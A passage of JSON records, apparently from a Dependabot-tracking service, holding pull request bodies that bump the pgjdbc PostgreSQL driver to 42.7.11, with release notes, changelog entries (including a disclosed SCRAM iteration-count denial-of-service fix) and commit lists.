href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.10] (2026-02-11)\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: Migrate to Shadow 9 \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3931\"\u003ePR 3931\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: fix empty line before javadoc for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3925\"\u003e#3925\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3925\"\u003epgjdbc/pgjdbc#3925\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003estyle: fix lambda argument indentation for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3922\"\u003e#3922\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3922\"\u003epgjdbc/pgjdbc#3922\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3917\"\u003e#3917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3917\"\u003epgjdbc/pgjdbc#3917\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: non-standard strings failing test for version 19 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3934\"\u003e#3934\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3934\"\u003epgjdbc/pgjdbc#3934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: small issues in ConnectionFactoryImpl [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3929\"\u003e#3929\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3929\"\u003epgjdbc/pgjdbc#3929\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: process pending responses before fastpath to avoid protocol errors \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3913\"\u003ePR # 3913\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edoc: use.md, fix typos [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3911\"\u003e#3911\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3911\"\u003epgjdbc/pgjdbc#3911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: datasource.md, fix minor formatting issue [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3912\"\u003epgjdbc/pgjdbc#3912\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: add the new PGP signing key to the official documentation [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3813\"\u003epgjdbc/pgjdbc#3813\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverted\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: make all Calendar instances proleptic Gregorian (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3837\"\u003e#3837\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3887\"\u003e#3887\u003c/a\u003e)\u0026quot; [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3932\"\u003e#3932\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3932\"\u003epgjdbc/pgjdbc#3932\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.9] (2026-01-14)\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.3...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=org.postgresql:postgresql\u0026package-manager=maven\u0026previous-version=42.7.3\u0026new-version=42.7.11)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/Maria0412/evaluacion_2/pull/9","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Maria0412%2Fevaluacion_2/issues/9","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/9/packages"}},{"old_version":"42.7.10","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-05-27T00:53:42.000Z","version_change":"42.7.10 → 42.7.11","issue":{"uuid":"4528575087","node_id":"PR_kwDOOUn_DM7foUAf","number":132,"state":"open","title":"Bump org.postgresql:postgresql from 42.7.10 to 42.7.11","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-27T00:53:42.000Z","updated_at":"2026-05-27T04:48:26.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"}],"path":null,"ecosystem":"maven"},"body":"Bumps [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) from 42.7.10 to 42.7.11.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace 